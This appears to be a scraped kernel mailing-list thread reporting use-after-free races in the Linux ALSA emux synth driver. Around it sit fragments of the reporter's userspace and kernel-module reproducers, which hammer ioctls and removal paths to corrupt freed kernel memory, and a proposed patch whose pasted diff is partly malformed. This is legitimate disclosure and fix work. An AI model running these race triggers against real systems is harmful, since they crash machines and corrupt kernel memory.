static void patch_hdr(unsigned char *p, int type, int len, int optarg)

{
	struct soundfont_patch_info h;

	memset(&h, 0, sizeof(h));
	h.key = SNDRV_OSS_SOUNDFONT_PATCH;
	h.device_no = 0;
	h.sf_id = 0;
	h.optarg = optarg;
	h.len = len;
	h.type = type;
	memcpy(p, &h, sizeof(h));
}

static int sf_load(int fd)

{
	unsigned char buf[512];
	struct soundfont_open_parm parm;
	struct soundfont_sample_info si;
	struct soundfont_voice_rec_hdr rh;
	struct soundfont_voice_info vi;
	int rc;

	/* OPEN_PATCH */
	memset(&parm, 0, sizeof(parm));
	parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
	strcpy(parm.name, "synthrace");
	patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		/* font already open from an earlier round */
		if (errno == EBUSY)
			return 0;
		fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
		return -1;
	}

	/* LOAD_DATA: 1 sample, 64 s16le frames */
	memset(&si, 0, sizeof(si));
	si.sample = 1;
	si.start = 0;
	si.end = 64;
	si.loopstart = 8;
	si.loopend = 56;
	si.size = 64;
	si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
	patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
	memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
	       si.size * 2);
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
		return -1;
	}

	/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
	 * exclusiveClass = 1, tied to sample 1 */
	memset(&vi, 0, sizeof(vi));
	vi.sf_id = 0;
	vi.sample = 1;
	vi.root = 60;
	vi.high = 127;
	vi.velhigh = 127;
	vi.fixkey = -1;
	vi.fixvel = -1;
	vi.fixpan = -1;
	vi.pan = -1;
	vi.amplitude = 127;
	vi.scaleTuning = 100;
	vi.exclusiveClass = 1;
	memset(&rh, 0, sizeof(rh));
	rh.bank = 0;
	rh.instr = 0;
	rh.nvoices = 1;
	rh.write_mode = SNDRV_SFNT_WR_APPEND;
	patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
		  sizeof(rh) + sizeof(vi), 0);
	memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
	memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
	       &vi, sizeof(vi));
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
		return -1;
	}

	/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
	 * LOAD_INFO only enter the preset table at close time (this is the
	 * real sfxload sequence), so note_on's search_zones() can find them */
	patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
	rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
	if (rc < 0) {
		fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static int plan_load(int secs, int reload)

{
	int fd, n = 0;
	unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	if (sf_load(fd) < 0) {
		close(fd);
		return 1;
	}
	printf("LOAD: font ready\n");
	fflush(stdout);
	int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (tf >= 0)
		close(tf);

	while (reload && (unsigned long)time(NULL) < until) {
		/* re-load data+info; kernel-side hammer eats the font */
		if (sf_load(fd) < 0)
			break;
		n++;
		usleep(2000);
	}
	printf("LOAD: done (%d reloads)\n", n);
	/* keep the fd open until the plan ends (exclusive hwdep) */
	sleep(secs > 0 ? secs : 30);
	close(fd);
	return 0;
}

static int plan_mr03(int iters)

{
	int fd, i;
	struct snd_emux_misc_mode mm;
	unsigned int ver = 0;
	int avail = 0;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03: hammering %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
		memset(&mm, 0, sizeof(mm));
		mm.port = -1;
		mm.mode = 0;
		mm.value = 0;
		ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
		if ((i % 128) == 0) {
			printf("MR03: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR03: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));	/* delayed variant: reopen */
	printf("MR03: done\n");
	return 0;
}

static int plan_mr04(int iters)

{
	int i;

	printf("MR04: hammering %d proc-read iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		char buf[4096];
		int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);

		if (fd >= 0) {
			ssize_t r = read(fd, buf, sizeof(buf));

			(void)r;
			close(fd);
		}
		if ((i % 128) == 0) {
			printf("MR04: iter %d\n", i);
			fflush(stdout);
		}
		usleep(500);
	}
	printf("MR04: done\n");
	return 0;
}

static int plan_mr04hold(void)

{
	char buf[4096];
	int fd;

	fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open proc: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04HOLD: fd open, reading once\n");
	fflush(stdout);
	read(fd, buf, sizeof(buf));
	printf("MR04HOLD: holding fd for 4s (free happens now)\n");
	fflush(stdout);
	sleep(4);
	off_t ls = lseek(fd, 0, SEEK_SET);
	printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
	fflush(stdout);
	ssize_t rr = read(fd, buf, sizeof(buf));
	printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
	fflush(stdout);
	printf("MR04HOLD: done\n");
	close(fd);
	return 0;
}

static int plan_mr05(void)

{
	int fd, tries;
	struct snd_emux_misc_mode mm;

	for (tries = 0; tries < 5000; tries++) {
		struct stat st;

		if (stat("/dev/snd/hwC0D0", &st) == 0)
			break;
		usleep(1000);
	}
	if (tries >= 5000) {
		fprintf(stderr, "MR05: hwC0D0 never appeared\n");
		return 1;
	}
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "MR05: open: %s\n", strerror(errno));
		return 1;
	}
	printf("MR05: opened inside probe window, issuing MISC_MODE\n");
	fflush(stdout);
	memset(&mm, 0, sizeof(mm));
	mm.port = -1;
	mm.mode = 0;
	mm.value = 0;
	ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
	printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
	fflush(stdout);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: synth_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "load"))
		return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
	if (!strcmp(argv[1], "reload"))
		return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
	if (!strcmp(argv[1], "mr03"))
		return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
	if (!strcmp(argv[1], "mr04"))
		return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
	if (!strcmp(argv[1], "mr04hold"))
		return plan_mr04hold();
	if (!strcmp(argv[1], "mr05"))
		return plan_mr05();
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}
#122 lore raw

Re: [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)

Quoted 32 lines · 徐晗翔

snd_emux_note_on() obtains raw struct snd_sf_zone pointers from snd_soundfont_search_zone(), which drops sflist->lock on return, and then consumes them (exclusive-class read, sample/block chaining, a 92-byte register copy) with no lock, no reference count and no RCU protection, while four user-reachable soundfont removal paths (hwdep SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES / LOAD_PATCH(REMOVE_INFO) and OSS SNDCTL_SEQ_RESETSAMPLES) kfree() the very same zones, samples and util-mem blocks under a disjoint mutex. The two sides share no lock domain (presets_mutex vs voice_lock), and the emu10k1 backend additionally keeps already-playing voices pointed at freed blocks because emu10k1_ops has no .sample_reset callback.

Verified on mainline 7.3 with a KASAN kernel and the real in-tree snd-emux-synth module driven through its exported API (harness attached): an uninstrumented natural hammer (userspace soundfont load/unload loop through the real hwdep ioctl path vs kernel note_on loop) produced 133 slab-use-after-free reports in 25s across four distinct read points inside snd_emux_note_on(), with a closed alloc/free/use chain (alloc = sf_zone_new <- load_info <- snd_soundfont_load <- snd_emux_hwdep_ioctl <- real userspace ioctl; free = kfree <- snd_soundfont_remove_unlocked; use = snd_emux_note_on +0x225/0x75f/0x772/0x7ab). A controlled one-shot that parks note_on inside its window reproduces deterministically (6 reports). The in-flight window needs no privileges beyond access to the sound devices; consequences are kernel memory corruption (UAF reads plus a UAF write through the block pointer) and crashes.

The detailed description:

* Test environment / affected version

Quoted 9 lines

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled, QEMU/KVM x86_64 guest. The audited files (sound/synth/emux/*, sound/synth/util_mem.c, sound/pci/emu10k1/emu10k1_callback.c) are byte-identical between the tested tree and the report baseline. The bug predates 7.3 by many years (the emux split-probe model and the unlocked search are essentially unchanged since the 2.6 emux import); line numbers below are from 7.3.

7.3.0 is way too old for this kind of bug hunts via AI.

Could you verify the whole series (and your other patches) at least with 7.4-rc5? At best with the latest linux-next tree, as some fixes are postponed to 7.5. This may save a waste of time for both of us.

thanks,

Takashi

author
#123 lore raw

PATCH 1/1 ALSA: emux: drain open hwdep users before freeing the emux structures(UAF)

In reply to Greg KH

Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth sub-driver) pins only the base-card module (try_module_get of hw->card->module in snd_hwdep_open()); the emux sub-driver module is not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or sysfs unbind which bypasses module refcounts) runs snd_emux_free(), which unconditionally kfree()s the struct snd_hwdep, the whole soundfont list (snd_sf_free()) and the struct snd_emux itself -- while the fd stays open with file->private_data pointing at the freed hwdep and in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither hwdep->used nor replaces f_op the way a whole-card disconnect does). Verified on mainline 7.3 with a KASAN kernel and the real in-tree snd-emux-synth module (harness attached): one hundred slab-use-after-free reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct dereference points (emu->sflist, emu->memhdr, emu->portptrs including a UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops -- and, with rmmod, the module text can additionally be unloaded while those callbacks are still running (snd_hwdep_f_ops.owner pins the snd-hwdep module, not the emux one). Needs the synth sub-driver probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables, mutex objects) and execution of unloaded module text -- crashes and a controlled indirect-call surface.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled, QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and sound/core/rawmidi.c are byte-identical between the tested tree and the report baseline.

* Mechanism

- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux hwdep registers no ops.open/ops.release hooks (emux_hwdep.c:126-131), so nothing increments snd_emux usage for hwdep fds (contrast: sequencer port subscribe and OSS-sequencer open both go through snd_emux_inc_count(), which also pins emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl

    without holding hw->open_mutex; the emux ioctl touches
    hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
  - The sub-driver removal path snd_emux_free() (emux.c:124-143)
    performs snd_emux_delete_hwdep() -> snd_device_free() ->
    snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
    does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
    (hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
    kfree(emu) -- none of it waits for hwdep->used to drop.

- Whole-card snd_card_free() is NOT affected: snd_card_disconnect() replaces open fds' f_op with snd_shutdown_f_ops and the teardown waits for all files to close before the free sequence runs. The sub-driver independent removal bypasses that protocol entirely -- that bypass is the defect.

The same shape exists for the emux virtual rawmidi devices (snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices; snd_rawmidi_open() likewise only pins the card module and snd_rawmidi_free() kfrees unconditionally), and for the probe error path of snd_emux_register() (init_hwdep registers the device, then a later init_seq failure frees everything through snd_emux_free()). This patch fixes the hwdep fd face; the rawmidi face is mentioned for completeness and needs the equivalent treatment.

* Trigger model

emu10k1/emu8000 hardware with the synth sub-driver probed (hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep fd open and issues ioctls; another (root, or hot-unplug hardware event) runs rmmod snd_emu10k1_synth (works: hwdep fds contribute no sub-driver module refcount) or writes the driver's unbind file.
Consequence: UAF read/write on struct snd_hwdep (function pointer table hw->ops, hw->used decrement), struct snd_emux, struct snd_sf_list (presets_mutex operations on freed memory) and the portptrs targets, plus execution of already-unloaded module text in the rmmod case.

* Reproducer and results on 7.3

synthrace.c registers the real in-tree emux on a virtual card (snd_emux_new/snd_emux_register, backend ops mirroring emu10k1); synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls; writing 1 to the module's "free" parameter runs the real snd_emux_free() (the sub-driver remove body) under the hammer.

Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:

  snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
  portptrs accesses, including a UAF write) and
  snd_hwdep_ioctl+0x11f (hw->ops read).  A harness run with the free
  disabled stays clean.

* Fix

Give hwdep fds the same user accounting the sequencer and OSS paths already have, and make the sub-driver removal wait for them:

- register hw->ops.open / hw->ops.release calling

    snd_emux_inc_count() / snd_emux_dec_count().  inc_count already
    try_module_get()s emu->ops.owner (the sub-driver module), so an
    open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;

- count open fds additionally in a new atomic emu->hwdep_users and make snd_emux_free() wait for it to drain (at the top, before any sub-structure is torn down, so in-flight ioctls cannot observe partially freed state either).

sysfs unbind bypasses module refcounts, which is why the drain wait is needed in addition to the refcount. This matches the semantics the whole-card path already provides (snd_card_disconnect() waits for open files before anything is freed).

The patch is a suggested direction, written against 7.3 and reviewed by inspection; it has not been runtime-validated (the reported reproduction used the unpatched kernel). Happy to test any counter-proposal.

* Patch

[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures

snd_emux_free() (the sub-driver remove path, reachable via rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep, the soundfont list and the struct snd_emux without waiting for open hwdep file descriptors: hwdep fds pin only the base-card module, the emux hwdep registers no open/release hooks, and an in-flight snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every later operation on the stale fd hits freed memory. KASAN on 7.3 shows 100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this interleave.

Register hwdep open/release hooks that take snd_emux_inc_count() (also pinning emu->ops.owner against rmmod, like the sequencer and OSS-sequencer paths already do), count them in a new emu->hwdep_users, and make snd_emux_free() wait for that count to drain before tearing anything down -- mirroring the drain that snd_card_disconnect() performs for whole-card removal. Note that sysfs unbind is not covered by module refcounts, which is why the drain wait is required in addition to the refcount.

include/sound/emux_synth.h +7 -1
@@ -99,6 +99,8 @@ struct snd_emux {
 	int use_time;	/* allocation counter */
 	spinlock_t voice_lock;	/* Lock for voice access */
 	struct mutex register_mutex;
+	atomic_t hwdep_users;	/* open hwdep fds */
+	wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
 	int client;		/* For the sequencer client */
 	int ports[SNDRV_EMUX_MAX_PORTS];	/* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
 	spin_lock_init(&emu->voice_lock);
 	mutex_init(&emu->register_mutex);
+	atomic_set(&emu->hwdep_users, 0);
+	init_waitqueue_head(&emu->free_wait);
 	emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
 	if (! emu)
 		return -EINVAL;
 
 	timer_shutdown_sync(&emu->tlist);
+
 
 
+	wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));

snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);

sound/synth/emux/emux_hwdep.c +0 -0
@@ (before snd_emux_hwdep_ioctl)

+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file) +{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file) +{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE; hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;

Signature · 8 lines
2.47.1


  Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* synthrace.c - dynamic verification harness for the emux wavetable audit
* cases SYNTH-MR-01 / SYNTH-MR-03 / SYNTH-MR-04
* (docs/manual-review-sound-synth-2026-11-26.md).
*
* It drives the REAL in-tree emux code (snd-emux-synth.ko: emux.c,
* emux_synth.c, soundfont.c, emux_hwdep.c, emux_proc.c, emux_seq.c) through
* its exported API with a fake backend ("hw"), replicating exactly the
* snd_emu10k1_synth_probe()/snd_emu10k1_synth_remove() usage shape:
*
* snd_emux_new() -> ops_setup -> fields -> snd_emux_register()
* snd_emux_free() (sub-driver remove body)
*
* No kernel source is modified; the audited code paths are the byte-identical
* in-tree modules (diff vs race/linux verified zero).
*
* Plans (module params, write "1" to trigger):
* mr01nat - SYNTH-MR-01 natural hammering: kernel kthread loops

 *              snd_emux_note_on() on the real emux port while another kernel
 *              kthread loops the REAL snd_soundfont_remove_unlocked() /
 *              snd_soundfont_remove_samples() (the hwdep ioctl bodies).
 *              The soundfont itself is loaded from userspace through the real
 *              hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path (synth_test load-loop).
 *   mr01ctl  - SYNTH-MR-01 controlled window: kprobe post_handler on
 *              snd_soundfont_search_zone stalls the note_on thread right at
 *              the start of its unprotected table[] window; one
 *              snd_soundfont_remove_unlocked() runs and frees zone/sample/
 *              block underneath; release -> cascaded UAF.

* free - SYNTH-MR-03/MR-04 trigger: snd_emux_free() with an open,
* hammering hwdep fd (mr03) or proc reader (mr04) on the other
* side. This is the exact snd_emu10k1_synth_remove() body.
*/
#define pr_fmt(fmt) "SYNTHRACE: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
#include <sound/asoundef.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;

/* ---- fake backend ops (same contract as emu10k1_callback.c) ---- */

static atomic_t mr01_armed = ATOMIC_INIT(0);
static atomic_t mr01_stalled = ATOMIC_INIT(0);

static struct snd_emux_voice *sr_get_voice(struct snd_emux *e,
struct snd_emux_port *port)

{
	int i;

	/*
	 * mr01ctl controlled window: parked mid note_on, AFTER table[] was
	 * filled by snd_soundfont_search_zone() and INSIDE the voice_lock
	 * configuration section, i.e. exactly inside the audited
	 * "search returned -> last table[]/vp->zone/vp->block use" span
	 * (emux_synth.c:63-114). Removing zone/sample/block underneath and
	 * then resuming replays the SYNTH-MR-01 interleaving end-to-end.
	 */
	if (atomic_read(&mr01_armed) && !atomic_xchg(&mr01_stalled, 1)) {
		unsigned long deadline = jiffies + msecs_to_jiffies(20000);

		pr_info("mr01ctl: note_on parked mid-configuration "
			"(table[] window open)\n");
		while (atomic_read(&mr01_armed) &&
		       time_before(jiffies, deadline))
			cpu_relax();
		pr_info("mr01ctl: note_on resuming\n");
	}

	for (i = 0; i < e->max_voices; i++) {
		struct snd_emux_voice *vp = &e->voices[i];

		if (vp->ch < 0) {
			vp->ch = i;
			e->num_voices++;
			return vp;
		}
	}
	/* recycle voice 0 so the hammering never starves */
	if (e->max_voices > 0) {
		e->voices[0].ch = 0;
		return &e->voices[0];
	}
	return NULL;
}

/*
* MR-01 UAF write point analog: emu10k1 start_voice() does
* emem->map_locked++ on the block handed down through vp->block; we touch
* the block the same way (read+write through the freed snd_util_memblk). */
static int mr01_note = 60;
static int mr01_vel = 100;
static atomic_t sr_start_calls = ATOMIC_INIT(0);

static int sr_start_voice(struct snd_emux_voice *vp)

{
	struct snd_util_memblk *b = vp->block;

	atomic_inc(&sr_start_calls);
	if (b)
		b->offset++;		/* UAF write on freed memblk */
	return 0;
}

static void sr_trigger(struct snd_emux_voice *vp) {} static void sr_release(struct snd_emux_voice *vp) {} static void sr_update(struct snd_emux_voice *vp, int update) {}

/* emu10k1 terminate_voice() reads vp->block (emem->map_locked--): analog */ static void sr_terminate(struct snd_emux_voice *vp)

{
	struct snd_util_memblk *b = vp->block;

	if (b) {
		unsigned int t = b->size;	/* UAF read on freed memblk */

		(void)t;
	}
}

static int sr_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)

{
	sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
	if (!sp->block)
		return -ENOMEM;
	return 0;
}

static int sr_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)

{
	if (sp->block) {
		snd_util_mem_free(hdr, sp->block);
		sp->block = NULL;
	}
	return 0;
}

static void sr_sample_reset(struct snd_emux *e)

{
	snd_emux_terminate_all(e);	/* same as snd_emu8000_sample_reset() */
}

/*
* SYNTH-MR-01's practically exploitable variant is the EMU10K1 backend
* (emu10k1_ops has NO .sample_reset, emu10k1_callback.c:51-63): removals
* then never terminate playing voices, so snd_emux_voice::block/::zone stay
* dangling after snd_emu10k1_synth_free()/kfree(sp) and every later
* terminate (e.g. voice recycle in note_on) dereferences the freed block.
* Default to that audited shape; sample_reset_en=1 switches to the EMU8000
* shape (snd_emu8000_patch.c registers snd_emu8000_sample_reset). */
static int sample_reset_en;
module_param(sample_reset_en, int, 0400);

static const struct snd_emux_operators sr_ops = {
.owner = THIS_MODULE,
.get_voice = sr_get_voice,
.prepare = sr_start_voice,
.trigger = sr_trigger,
.release = sr_release,
.update = sr_update,
.terminate = sr_terminate,
.sample_new = sr_sample_new,
.sample_free = sr_sample_free,
};

/* ---- shared setup/teardown ---- */

/*
* snd_emux_note_on() and the snd_soundfont_remove_*() bodies are real,
* non-exported global symbols of snd-emux-synth.ko. Resolve them at runtime
* via kprobe registration (kprobe-addr method, same technique as
* kmod/nmi/nmi_race.c) and call them through their exact prototypes. */
typedef void (*sr_note_on_t)(void *port, int note, int vel,

			     struct snd_midi_channel *chan);

typedef int (*sr_sf_op_t)(struct snd_sf_list *sflist);

static sr_note_on_t sr_note_on;
static sr_sf_op_t sr_remove_unlocked;
static sr_sf_op_t sr_remove_samples;

static void *sr_kallsym(const char *name)

{
	struct kprobe kp;
	void *addr;

	memset(&kp, 0, sizeof(kp));
	kp.symbol_name = name;
	if (register_kprobe(&kp) < 0) {
		pr_err("kallsym(%s) failed\n", name);
		return NULL;
	}
	addr = kp.addr;
	unregister_kprobe(&kp);
	return addr;
}

static int sr_resolve_syms(void)

{
	sr_note_on = (sr_note_on_t)sr_kallsym("snd_emux_note_on");
	sr_remove_unlocked =
		(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_unlocked");
	sr_remove_samples =
		(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_samples");
	return sr_note_on && sr_remove_unlocked && sr_remove_samples ?
		0 : -ENOENT;
}

static int sr_emux_setup(void)

{
	int err;

	err = snd_emux_new(&emu);
	if (err < 0)
		return err;

	emu->ops = sr_ops;
	if (sample_reset_en)
		emu->ops.sample_reset = sr_sample_reset;
	emu->hw = card;		/* non-NULL "hardware"; never dereferenced */
	emu->max_voices = 8;
	emu->num_ports = 1;
	emu->midi_ports = 0;	/* skip virmidi: not needed for these cases */
	emu->hwdep_idx = 0;	/* /dev/snd/hwC0D0 */
	emu->linear_panning = 0;
	emu->memhdr = snd_util_memhdr_new(0x100000);
	if (!emu->memhdr) {
		snd_emux_free(emu);
		emu = NULL;
		return -ENOMEM;
	}

	err = snd_emux_register(emu, card, 0, "synthrace");
	if (err < 0) {
		pr_err("snd_emux_register failed: %d\n", err);
		snd_util_memhdr_free(emu->memhdr);
		snd_emux_free(emu);
		emu = NULL;
		return err;
	}
	/*
	 * The real emu10k1 flow nests snd_emux_register() inside the outer
	 * snd_card_register() (seq-device probe), which then registers the
	 * emux proc entry created above. Replicate that final registration.
	 */
	snd_card_register(card);
	pr_info("emux registered: hwdep=hwC0D0 sflist=%p proc ready\n",
		emu->sflist);
	return 0;
}

static void sr_card_new(void)

{
	int err;

	parent = root_device_register("synthrace");
	if (IS_ERR(parent)) {
		parent = NULL;
		return;
	}
	err = snd_card_new(parent, 0, "synthrace", THIS_MODULE, 0, &card);
	if (err < 0) {
		pr_err("snd_card_new failed: %d\n", err);
		root_device_unregister(parent);
		parent = NULL;
		card = NULL;
	}
}

/* ---- MR-01 natural hammering ---- */

static unsigned int nat_secs = 25;
module_param(nat_secs, uint, 0400);

static struct task_struct *noteon_thr;
static struct task_struct *remove_thr;

static int noteon_fn(void *arg)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;
	unsigned long until = jiffies + nat_secs * HZ;

	port = emu->portptrs[0];
	if (!port) {
		pr_err("mr01nat: no port\n");
		return 0;
	}
	chan = &port->chset.channels[0];
	pr_info("mr01nat: note_on hammer starts\n");
	while (!kthread_should_stop() && time_before(jiffies, until)) {
		sr_note_on(port, 60, 100, chan);
		cond_resched();
	}
	pr_info("mr01nat: note_on hammer done\n");
	return 0;
}

static int remove_fn(void *arg)

{
	unsigned long until = jiffies + nat_secs * HZ;
	int n = 0;

	pr_info("mr01nat: remove hammer starts\n");
	while (!kthread_should_stop() && time_before(jiffies, until)) {
		/* these are the exact bodies of the hwdep ioctls
		 * SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES
		 *
		 * Throttled to ~2.5k/s: at unthrottled rates the removal
		 * outpaces the userspace loader and the soundfont spends its
		 * life empty, starving note_on of zones (see first mr01nat
		 * run: 5.5M removes, 0 collisions). The audit race needs the
		 * font alive while note_on is inside its table[] window.
		 */
		/* REMOVE_LAST_SAMPLES body only: unlike remove_samples()
		 * (snd_sf_clear -> snd_sf_init) it keeps currsf/open_client
		 * intact so the userspace loader can keep re-arming the font,
		 * while still freeing the very zone/sample/block trio of the
		 * audited SYNTH-MR-01 chain */
		sr_remove_unlocked(emu->sflist);
		n++;
		usleep_range(200, 500);
	}
	pr_info("mr01nat: remove hammer done (%d cycles)\n", n);
	return 0;
}

static int mr01nat_set(const char *val, const struct kernel_param *kp)

{
	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	noteon_thr = kthread_run(noteon_fn, NULL, "synthrace_noteon");
	remove_thr = kthread_run(remove_fn, NULL, "synthrace_remove");
	return 0;
}

static const struct kernel_param_ops mr01nat_ops = { .set = mr01nat_set }; module_param_cb(mr01nat, &mr01nat_ops, NULL, 0200);

/* ---- MR-01 controlled window (park inside sr_get_voice, see above) ---- */

static struct completion mr01_done;

static int mr01_noteon_once(void *arg)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;

	port = emu->portptrs[0];
	chan = &port->chset.channels[0];
	atomic_set(&sr_start_calls, 0);
	sr_note_on(port, mr01_note, mr01_vel, chan);
	pr_info("mr01ctl: note_on returned, start_voice calls=%d\n",
		atomic_read(&sr_start_calls));
	complete(&mr01_done);
	return 0;
}

